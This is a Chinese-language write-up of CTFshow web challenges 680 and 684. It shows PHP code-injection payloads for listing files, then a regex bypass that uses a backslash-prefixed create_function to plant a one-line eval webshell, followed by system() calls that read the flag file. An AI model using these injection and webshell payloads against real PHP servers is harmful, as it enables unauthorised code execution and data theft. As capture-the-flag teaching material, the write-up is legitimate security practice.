CTFshow大赛原题Writeup
CTFshow大赛原题Writeup
Web680

他让我们post一个code去跑,首先尝试传入code=phpinfo();

成功弹出phpinfo
界面,但是我们发现disable_function
几乎禁用了所有的命令执行的函数。
尝试code=echo(file_get_content("secret_you_never_know"));
发现也不行,应该是禁用了。这时候可以使用
code=print_r(scandir(dirname('__FILE__')));
scandir
:列出目录中的文件和目录
dirname
:返回路径中的目录部分
__FILE__
:PHP魔术常量,反回当前PHP文件的完整路径和文件名
__FILE__
返回当前php页面的文件名和路径,dirname
只截取其中的目录部分,.
代表当前目录
那么scandir(dirname('__FILE__'))
就可以列出当前目录的目录和文件了

得到了secret_you_never_know
,但是还是不知道如何读取这个文件,发现浏览器访问可以下载这个文件

所以flag为:
ctfshow{9c116349-3874-4172-ab42-b2abf25e541e}
Web681
Web682
Web683
Web684
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
分析正则表达式:
^
匹配字符串的首字符
*
是一个限定符,用来修饰前一个字符或分组,限定匹配重复的数量为任意数量
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行;
这题可以用create_function()
创建匿名函数,前面加一个\
用来绕过正则表达式,用}
闭合这个匿名函数,然后后面就可以接上一句话木马eval($_POST['Le1a'])?>

post: Le1a=system('ls /');

post: Le1a=system('tac /secret_you_never_know');

获得flag:
ctfshow{87f346a1-a16c-4970-ba08-218c4a11dbae}